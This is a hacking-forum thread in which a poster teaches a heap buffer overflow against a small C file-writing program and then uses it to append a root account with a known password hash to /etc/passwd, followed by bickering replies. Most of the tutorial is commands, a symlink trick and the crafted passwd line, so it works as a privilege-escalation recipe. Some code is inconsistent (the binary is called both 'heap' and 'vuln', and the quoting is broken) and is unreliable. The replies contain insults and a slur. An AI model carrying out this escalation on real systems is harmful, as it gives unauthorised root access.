[-๖ۣۜDivine-]

This tutorial assumes that you are not a beginner in all of this. If you are, refer to my previous threads and study them before proceeding.

Stack buffer overflows have truly gotten so much attention. They've gotten very famous, and with a good reason, but that is also why that vulnerability is often detected. Today we will be looking at one that is a little less known (compared to stack buffer overflows) but just as deadly and more often overlooked. Heap Buffer Overflow.

So let's begin with heap. Heap is memory that is used for dynamic allocation. In C, we will be using malloc() and calloc() to do so. Today, we will be exploiting a program that allocates two buffers in heap next to each other. By overwriting the boundaries of the first one, we will set foot in the second one.

PHP Code


<?php 
#include <stdio.h>

int main(int argc, char *argv[]) {
FILE *heap;
char *input=malloc(30);
char *out=malloc(30);
strcpy(out, "/tmp/VULN");
strcpy(input, argv[1]);

printf("Input is: %s\n", input);
printf("Writing to: %s\n", out);

heap=fopen(out, "a");
fprintf(heap, "%s\n", input);
fclose(heap);
return 0;
} 


Alright, let's take a look at what this does. First we create two variables and set their boundaries. First variable is input and via strcpy() we fill it with user input. Second variable is out and it is assigned to /tmp/VULN which is just output file to which we will write our input. Then /tmp/VULN is opened for appending and user input is written to it. So basically, all this program does is writes user input to a file.

PHP Code


<?php 
printf("Input is: %s\n", input);
printf("Writing to: %s\n", out); 


This part is here only for debugging purposes. It tells us what the content on input and out is.

Alright, so let's begin by compiling.

PHP Code


<?php 
gcc -o heap heap.c 


Run it supplying anything as input.

PHP Code


<?php 
./heap Dongs 


We've successfully written "Dongs" to /tmp/VULN. Now, let's supply it with a greater value.

PHP Code


<?php 
./heap `python -c 'print "A"*50'` 


You can see that we've written over the first variable into the second one, and that our output no longer is /tmp/VULN but a file named "AA". It took us 40 A's to fill the first variable. But let's cat the file to see how many A's there are.

PHP Code


<?php 
cat AA 


We can see that all 50 A's got stored. Why is that? Because the whole input is the first variable. We've overflown it's boundaries.

So, by the looks of it, at 40 A's we get an overflow. Let's try:

PHP Code


<?php 
./vuln `python -c "print "A"*40'` 


A segmentation fault. That's weird. It should be able to hold all 40 bytes, but we get a segmentation fault. Why is that? Because at the end of our input a null byte is added which acts as a line terminator. Meaning that with 39 bytes, the program should function normally.



That's all pretty nice, but we want a shell. If the program had suid, we could manipulate it to write to anything! Therefore, in theory, we should be able to write to /etc/shadow or /etc/passwd to create a new root account.

As easy as this sounds in theory, it's not so nice in practice. As everything supplied will be written to a file of our choosing including it's path. And these files don't like mistakes in them, so we have to be careful. Let's go one step at a time. Let's first try to write something to a custom file.

PHP Code


<?php 
./vuln `python -c 'print "he"*20+"/tmp/lol"'` 


(I've switched to another user)



Alright, we've successfully broken the variable into the correct place. Now let's look at the what we have written.

PHP Code


<?php 
cat /tmp/lol 


The path at the very end (/tmp/lol) is also inside it. This is not acceptable when writing to /etc/shadow or /etc/passwd. Meaning that we have to somehow refer to both something that would be acceptable in it, and to the output file as well. Sounds impossible? Links.

By creating a symbolic link to /bin/bash in directory /tmp/etc with name passwd we can pull it off. As the format of /etc/passwd says that the last part of it contains absolute path to the shell.

Alright, we can write to /etc/passwd, but if we make an account without a password, it would just be locked. And passwords are stored in /etc/shadow.. Right?

It's :x: in /etc/passwd that says that encrypted passwords are stored in shadow. If instead of x, we put our encrypted password, it will work just fine.

So let's begin with this.
Also, keep in mind that the length of the input must be precise! You can modify the length by messing with account username or with path to the shell.

PHP Code


<?php 
cd /tmp
mkdir lel
cd lel
mkdir etc
cd etc
ln -s /bin/bash passwd 


Alright, now let's follow the format of /etc/passwd to craft our string:

PHP Code


<?php 
divine:2PYyGlrrmNx5.:0:0::/root:/tmp/lel/etc/passwd 


Username is divine, password is 3 and path to shell is /tmp/lel/etc/passwd (that points to /bin/bash).

Now, notice the length. 40 bytes (which is exactly how much we need) end exactly before /etc/passwd begins, meaning that this whole strings gets written to it!

PHP Code


<?php 
./heap divine:2PYyGlrrmNx5.:0:0::/root:/tmp/lel/etc/passwd 


Very good. Now let's take a look at /etc/passwd

PHP Code


<?php 
cat /etc/passwd 


We've written to it successfully.
Alright, let's su to our newly created user.

PHP Code


<?php 
su divine
(password is "3") 


That's it for today. I'll be talking more about heap overflows in future. Tutorial dedicated to Dyme who has had his account opened and then closed the next day. While you're at it, read the Legend of Dyme.

[SoLong]

Nice tutorial, didn't actually go through the entire thing but it seems nice as all of your tutorials.
Heap overflows > stack overflows imho

[-๖ۣۜDivine-]

Nice tutorial, didn't actually go through the entire thing but it seems nice as all of your tutorials.
Heap overflows > stack overflows imho

Thanks. I'll be making more on heap in future.

[Skorp]

Written and performed well, i prefer a jump to libc attk.

[dookiedong]

Written and performed well, i prefer a jump to libc attk.

Do you have any idea about what the fuck you're talking about.

[Skorp]

Do you have any idea about what the fuck you're talking about.

You sir are a HQ member, you deserve all the knowledge in the world, you know everything. Hats off.
(Click to View)*sarcasm*

[dookiedong]

You sir are a HQ member, you deserve all the knowledge in the world, you know everything. Hats off.
(Click to View)*sarcasm*

I'm not saying I know everything; I'm just pointing out that your post made absolutely no sense in or outside of context, giving me the impression that you know nothing about memory corruption vulnerabilities.

[Skorp]

Last post i will make, i don't want to ruin my friends thread.

giving me the impression that you know nothing about memory corruption vulnerabilities.

You sound/look really stupid right now sir, first talk and make sense before throwing your opinions out there "Mr. dookiedong." Next time, don't assume i'm talking about what you are "thinking" on what i am talking about. Bye.

A hint on what i'm actually talking about: (Click to View) arbitrary code

[-๖ۣۜDivine-]

Keep it on the topic guys. Wouldn't want staff junking the thread :)

[n3xus]

Written and performed well, i prefer a jump to libc attk.

Man, I know its cool and all to drop technical terms and whatnot, but he's talking about a heap overflow, not a stack overflow.

[-๖ۣۜDivine-]

Man, I know its cool and all to drop technical terms and whatnot, but he's talking about a heap overflow, not a stack overflow.

I'm unsure, but I think Skorp was saying that he preferred ret2libc stack overflow over heap overflows. My personal favorite method of stack overflows is ret2tard.

[glob]

Error in the thread I believe.

Shouldn't this:

PHP Code


<?php 
./heap `python -c "print "A"*50'` 


be this

PHP Code


<?php 
./heap `python -c 'print "A"*50'` 


[-๖ۣۜDivine-]

Error in the thread I believe.

Shouldn't this:

PHP Code


<?php 
./heap `python -c "print "A"*50'` 


be this

PHP Code


<?php 
./heap `python -c 'print "A"*50'` 


Yus changed dem pythanz. Thanks for notifying.

[kawaii]

You sound/look really stupid right now sir, first talk and make sense before throwing your opinions out there "Mr. dookiedong." Next time, don't assume i'm talking about what you are "thinking" on what i am talking about. Bye.

A hint on what i'm actually talking about: (Click to View) arbitrary code

You're clearly retarded. Dookiedong is quite correct, it's quite clear that the OPs knowledge on the subject is "fairly" limited.

[-๖ۣۜDivine-]

You're clearly retarded. Dookiedong is quite correct, it's quite clear that the OPs knowledge on the subject is "fairly" limited.

I am the OP, not Skorp. And if you meant me on purpose, explain yourself.